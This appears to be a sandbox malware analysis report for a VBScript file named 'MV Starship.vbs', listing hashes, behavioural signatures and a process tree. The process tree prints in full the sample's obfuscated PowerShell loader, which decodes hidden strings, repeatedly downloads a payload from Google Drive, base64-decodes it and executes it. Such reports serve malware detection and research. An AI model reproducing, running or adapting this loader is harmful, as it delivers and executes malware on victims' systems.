Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
144s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
11/06/2024, 19:20
Static task
static1
Behavioral task
behavioral1
Sample
MV Starship.vbs
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
MV Starship.vbs
Resource
win10v2004-20240508-en
General
-
Target
MV Starship.vbs
-
Size
21KB
-
MD5
01bf68b9fb7916cf510229bdd24a6834
-
SHA1
9fd7587e632de2b688ff7c9b90ac771b04e300f4
-
SHA256
dff846c5ee6d0aa1b1d389a0dc98be418a941d2b3986faacec9b046f61190d42
-
SHA512
a056b5c410c65c4cd17b6f7542a37a2b5de6c4ce6714c6f65835de1402ed3b4cf900e394bea1f116f1bd31d3fe8d28b8f9cbef628cd6284d5e5bce1d57935ca7
-
SSDEEP
384:9sy8gxGZSf1CjZ2O7Eu0wYbVEj2zPbaFsNNFHd+tyR6MvC81Kw:9hjxGsf8jZ2iBXCPbNN1dxR6Y
Malware Config
Signatures
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
flow ioc 8 drive.google.com 9 drive.google.com 13 drive.google.com 7 drive.google.com 10 drive.google.com 11 drive.google.com 12 drive.google.com 14 drive.google.com 6 drive.google.com -
pid Process 1312 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1312 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1312 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2020 wrote to memory of 1312 2020 WScript.exe 28 PID 2020 wrote to memory of 1312 2020 WScript.exe 28 PID 2020 wrote to memory of 1312 2020 WScript.exe 28 PID 1312 wrote to memory of 2364 1312 powershell.exe 30 PID 1312 wrote to memory of 2364 1312 powershell.exe 30 PID 1312 wrote to memory of 2364 1312 powershell.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MV Starship.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle 1 "$derivationers = 1;$Charlottenlund='';Function Herborist($Swallowtails){$Nondiscernment=$Swallowtails.Length-$derivationers;$Macromere=$Charlottenlund+'Substring';For( $Tvrfaglighedens=7;$Tvrfaglighedens -lt $Nondiscernment;$Tvrfaglighedens+=8){$Safenesses+=$Swallowtails.$Macromere.Invoke( $Tvrfaglighedens, $derivationers);}$Safenesses;}function Elabrate($Nonprotractile){ . ($Pincheck) ($Nonprotractile);}$Lidelser=Herborist 'P ckthrMAcroc,moPen,odszaprjt li.orblaclHeltem.l HavnebaBlgedal/fedn.ng5Firmate.Epicari0Fang.no Parame(FanefjoWUdstniniUnmortinNonsustd Adv.kaoTumbekgwLob.yens Bestrs VandlbsNVirkel Tindigna Shadowa1Mdeplig0Monopol.skmteda0Bull oz;Bygning PeriostWLan,eriiUnen ernove.emp6Stats,e4Prdik,n;Prototy Be,illxYderwin6Momenta4 Ov ren;Intrige OmstninrphosphovAllodia:R,ndsav1Knaldrd2Kassekl1Preflor. Disko.0Cwtind,)Weyrlac EndemorGStumpwie.mbedetcA,hundnkFunktioo Sp ogu/Aircraf2Nymphea0Gossame1Coll.so0Ulstere0Poorish1Uroe.ne0 hoplom1Uddanne BevisfrFInfantlibelysnirTwiddl,eCerati,fSpille.oFaenapexGaussku/Vesicul1Nonadap2Knog,es1Gemaric.Triobol0 Faradi ';$Professionises=Herborist ' KlapreUambitiossafireneB,llboar Favora- AaretaATonalesg UtugtseKookr pn UintahtCannabi ';$Semimaliciousness=Herborist 'Unarre.h Beamsnt MedlydtCre trep P.emersMegavol:Artemis/Dru,gyb/Pukke.hd Gu,hierSceptici NasebevEnam lle,obbele.AvengingBr tekso SaunteoL.rerbegPeckerwlApic.bae Sbehol.MisguidcHov dtroAndagt.mPermane/Funniesu UnflaucIndgroe?Tanghame .trandxAne,ochp UnegreoBenmelsrTernin,tRecirc =Tor,vild DigrapoRepertowRe.tricnFremganlStri teoForskrkaspraydadcot rmi&Krebsdyi Huggebd Karakt=Bond,ka1,rdevejBTelefonBkistebugSturd.eeMohaireXPentodemIdiophorforudsi7ThiramsW kaerinBUnicorn7FluvialL Ma,kerI Tyvere8bitrykkrBunrakuHDirektoPdegreasSResorptpFrd.ggrw MannitVIntrodui nnihi7,issentjB.lliggO J,ttas9LnkontoXKredslgQsynodonIAnt cesdSubch rcRntgenfzD scurs ';$Gatekeep=Herborist ' Beag.e>,aughfu ';$Pincheck=Herborist 'Ni.rodii Sti.preRundvisxProposi ';$Nonparlors='Gallera';$Redecision = Herborist 'MuskifieSultelncUnisexuhFredagso Reserv Signale% Fj.rteaPredanspToksikop Englebd eessraaTa,itictKommandaJudgmat%Sovesyg\CounterGClangerrFlleskoaWilhelmmInconsomr,ndstaa TredietBruskboiSaksespc zedeki.PurplisBMorfouneBev.rinr uvsede um,raes&Slamsug&Plei tr BoyardieIn ommocSlumrethUnradiaovaskegt unam rotIlloyal ';Elabrate (Herborist 'Carpali$zouaveigSc.upullOvip rooP rchlobPlin,siaHjhledelP,tesae:Fus,llfVBrnekuleKommun,sCli ocetAlmon giOv.rlibmRendegreCr nsienAfvarsltSkumlsn=Forherl(Opr knicTrempelmTailcoadAndroid Limnolo/In.eklicGru.dst inflam$ UndistRHenstileMixuncodWoefareeTeughlycParala.iAffronts.etwiseiKapselao RejemanMaestos) Fors,n ');Elabrate (Herborist 'E,femis$Basunisg Inertil Arbe doPoes,lsbUdn,tteaFilt rcl,resump:HaandskI Ho,edinSunupsbcSole,osoTilfre.rDiast orOttekanefilmindsPsychodpProarisoAnthonin Despecd Ko,eoge carbonnd,logicc ,rebogyFor uef= ircuit$blanketSK,mponee NatriumPaalgsci kaalfrm Peskiea Whor,llAdso,biiPressekcSingulriFri adeo Overw.uForstrrsSkrvebanPetitjoeProdukts raktiks rephin.Rensemas Om kolpLongilol Ejertii F brikt Revolv(Samfund$StrubcaGStilkj aTe,etyptRejoiceeInmewknkBandworeTraktateGasappapM.chaaf)Taksi.r ');$Semimaliciousness=$Incorrespondency[0];$tyggede= (Herborist ' Saxtub$AmtsraagA,viklelLemnis oSvovletb SponseaIntermelUsbekis:SjakrinATestu sfDownlinrJerntppeKrediteastat cog NattegeRessourrForkarleAtionsvdSh kenle Osma.ss Cohes,=Endeni,NTheologeKrligstwUrinsti-SiderolOUnsec ebButteryjDisquieeIrru.tscCornututMeithsi Cen,ralSOvernatyDivisiosLigkapetJubileaeKattep,m.nderfr.SmaahanNHusmdreeBac.chatUn.erst. SystemW ClotureBibeskfbu hypheCL.psidelLastep,iPretarievalgfrinPuissant');$tyggede+=$Vestiment[1];Elabrate ($tyggede);Elabrate (Herborist 'Klag,su$ agstrbAPenetrofunr.scurban,kase FiskeoaM.aneskg HazenmeKyphoscrAwakekieDenu.ledMoatinge kafirisEnhedst.Ha,moneH UnprovecomputeaMa,sastdUsheri.eOprrsber .ymssis svmmet[Bas.sud$ nsnarePSanteesrPejle io S.percfRetriereSl ngees ReembasM ralisiPredecloI,articnNobisruiJokumsrsProgreseUdkernis Rentie]Draabne=Andedk.$TommeviLafreteviAfskedidBry,lupeP ginaelSlibninsOcean uewoundaurCoriand ');$Bgeskovene=Herborist ' krfed$ AdapteAtegnebof Thebair.amiliee,orsatsaTerensrgFl.ysomeProvec,rEnshrinePapillodporphyreReembodsBldtvan.CollectDBlgerneobrahetrw IndulgnBefezzelBevillioYustagaaDecima,dGambistFAwhe,tbiSkttendlRode,eleRajasic( Gibbon$fiksstjSRhinthoefi,rinsmOplysniiTorvedam PainkiaAntwerplSpndkraiLecit.icHabitacihmme cooPolymeruColegatsMonoc rnJararacetronarvsHala,issTremmek,Allesam$Hove.stUElhegnenWorthsrdBotrycyeHalvfulfKe,anseeNonadapnPantodpdRegist,aBandlysnApp,oprtAxiolit)He dful ';$Undefendant=$Vestiment[0];Elabrate (Herborist 'M,llemh$UnsuggegBijasallComput,oTerra zbTikampeaHeretocl Indka,: M,lanonDybvandoUnderstm AphorioOvermorlOrkesteoSyndesmgKogle niPareciscFagternaSolfri,l Altsge=Polypho(BastardTaktieane UnivocsMac ocytHouse.u-SalatslPNutspolaTabtbryt ,iddashMeinost Overexu$bonitosUReluminnArteriod Ob ecteEuro arfBilbreveSamfundnHingstfdQua.nteaVejrforn Min,nat ,nivsp)Ansteti ');while (!$nomological) {Elabrate (Herborist 'Astrofe$O.bingugReamdyslhukommeoFul,stnbFarsernaDovned lSagenhe: InddatWTubercuojernvrknSelvfordOleiferem.noplarStylingiDees.panBannockgB.ackno=Brdbakk$ p.lymat Triv ar AntibuuKloakereRiddert ') ;Elabrate $Bgeskovene;Elabrate (Herborist 'PennyeaSHumrfort,jolesgaTappernrTransfutNone ig-FrilgniSTactuallAf,aetteB leddeeAarsopgpPreclos Anvende4Aftraad ');Elabrate (Herborist '.iscali$ Dia,nog,urtzitlTrap oloMiljtekbmissusea Pe,senl Flyve :veilleunVa.meleo und,bim.empiteoReinquilSoa.makoLydighegRigeligiSkatt.lco,nivisaOctyneyl crim,n= Svi.gk(RhapsodTP stulneKrumni,sUbefjedtprosopo-Hyperb,PS orsinasubpotetSkrestehRomaski Cajoled$UgunstiUSlariumn predecd Overeme JanghefpythagoeSpeedawnTru.etsdDriveriaorchillnublu.rdtM,merss)Aniceli ') ;Elabrate (Herborist 'Jollede$Kasm rsgCoryphplTingestoOarf,shb Kejsera Fitt.nl value:Ki,teneDAffiliey PolyglrChermistp oheduiKolonn,dIndk,sts bl,dserdecidene ariciagUrazineu PortallEutele.eSpildolrdelingse Denudes execut=Skuffen$BarogragMinyanilHar.ensoAflsserbfodboldaUltra,nl ,laekk:T,aktatVBeearndoLivetrag eptonitCuculareDozentbn ,unktidchylangeAnspndesSyrenen+Charola+Ph.spho%B lbide$AnnliseISyvtalcn canzoncMedlemmoSti,lesr SummonrRust.cueManner s Ursoidp Heteraoafskri.n HomomodTrresnoe,ounternUdklknicLiberalyLuftkon.GlollincSewermaoProto huSkolastnHaan sktBybudsc ') ;$Semimaliciousness=$Incorrespondency[$Dyrtidsreguleres];}$vinhandlerens=327458;$Magtapparatets=28339;Elabrate (Herborist 'Hawaiib$HydroxygTeoribglpadmelooKimsedeb BillhoaComparilInterlo:Grass oPUnsanctaJung errSlayeruaFemalislMonitorlDiabolaeSciascolYellstelFrkapsleBu,dlsedHomogen Compuls= Libera KatalogG vertrue ClitortPrefato-Tids,ngCHeterolo Salvidn Hukom,tCoars ne estann UnovertBurtoni Bloddon$RullestUBraggernTrngs ld Sa.ieneTlingenfSvaleske FristenF selsadBanelbcaUvejsomnPemph,etTor tap ');Elabrate (Herborist 'Striati$Paginergsilhouel Spectao.ffiancbLdigtinaspidsbelBe,efit:ReorderN LerkruiUnfantavAfspi,naBerve.snFarerudsbasreli5Perisin4Kernekr Mistrus=Metapol Caterin[ GrandmSFrsteviyLobulessPly dretSnderleeMisluckmCausato.re funcCSkriveboFaata.lnHypercrvTruthsfeAnt,nymrCornutit Zhmudr] Talbeh: Dberen:BasnsesFNonposirKwak utoDressenm RabarbBBacilleaRebroacsankomneeAnmel.e6Counter4 DocentS.vinekatSyvaar.rFor.finiPron,menDacryapgTimeb l(Clatchy$LandingP Procara Cad cer OmplanaCoactivlEntombmlSvarabheBengterlidentiflPanto.ae nbewild.askino)Sporvog ');Elabrate (Herborist ' Steved$ Vanligg StandrlFo vansoselvflgb MulticaUdsigerlRigsdag:TillaveCHydrostoNonn,rnl nonseqlProc,ntaOverskrt,ohndigeA.lenderLeastw a SexsymlTittivaiNatuglezforsir eAfskrkkdUn,ertr hundes =sewer.a Hectome[ColloquSAgnostiyForandrsHavemndt Ph,llie Anten.m Dragog.AdoptivTHu.deloe dicyclxDifferet Tagkon.Arriv rEDgnfluenSistanic dov,ndoRudekond flaadsiBenthacnVaaser.gLitogra]Ud ksau: Inv ta:H irychA PreweiSOrgani.CSubrutiI tapewoIMicroli.FaresigGSeparabe AmalgatFrgef,rS otididth.rmanhrCaba etiLedetranPro.eregLittera(demarch$DioderbNNedvur,iIndulgevstoepluaPortionnEskadresTautolo5Afsvkke4Afstvni)Interme ');Elabrate (Herborist ' O erga$,osterigAde tenlKvruleroC usatibTallymea tagpaplDefinit:AmoralsOTeallitpAmor,ishAvisledoElectrilSquamatdCustomaeScioptinAgersvodfyringse Mesao =Satiriz$ Nabo,rCOutskafoGladiatlcyphe,il KoncepaTolkslotTicketieCloned.r,ueestiaStgdetelSigjneriKanariezFljte,neshin.ardPer ame..eflectsKoellenu emtalsb Co,ntesMennesktProjektrVerdensiDessic.nOpkaldsgCronies(.dtryks$Syernesv Trepu,iKirkeganFab,ikahOverfrea DisazonSkovsnedWhin.dbl eimakde Forbanr AtionseOver,bsnAr,estesnanduti,Udforin$Tr.turaM FyrretamattockgLeylapotCykels,aHousalupSammenrpDo.erenaSollyoprGeokemiaOmgaerdtSidestieKaeledyt Beseeks bo,ite)Tebor.e ');Elabrate $Opholdende;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Grammatic.Ber && echo t"3⤵PID:2364
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5264c08b20e5b3a9c41eef47edff30ac7
SHA1c5d147e81d3999a036e4a8dd8f705485fda21364
SHA2565ebf785610f0b197ee8e022a56bf453f61027aee67d05a66406c1152eef1c249
SHA5124176cd1bc505415bd8c08db758fbe7cb905eeb2a3490b31115b85dc31466c0a349c75d54c274ab00bc56465b812af671ac20f0dcd70f2364ae34ed8494e89d61
-
Filesize
8KB
MD5a5d970b3d775b5efed23c6854b16e232
SHA1465faec9392e0dbe58849301e2382cb35a2ec40e
SHA2565e80548253a13d56181a4ca445ab4e6178291016a0978e1a136d98f753e2700a
SHA512a0a1831ef5c4ad7554df863e9187a4835d4702793628f884f0fcecf215fd387fb26a5bfe7b51443daca4293f52fe12dd63afb81d035156c81b5f70abbee945d8
-
Filesize
8KB
MD512291e196394affb2faa0c9d421d4f68
SHA1f046955167b28e45ddbe4117a47cf9385e1179ea
SHA256a4f6868646bbcbbe3c3e4669bb034491ef1c14a23efbcdf55ce90f965993b063
SHA5127d31ffdac55e7d9444ef8bb5c82987442272500325e5241ea641a34890a4362912e3d310f8d61590b571ef4fa2d3970eed0d0d681a1363ccf82f2959c5eb4a38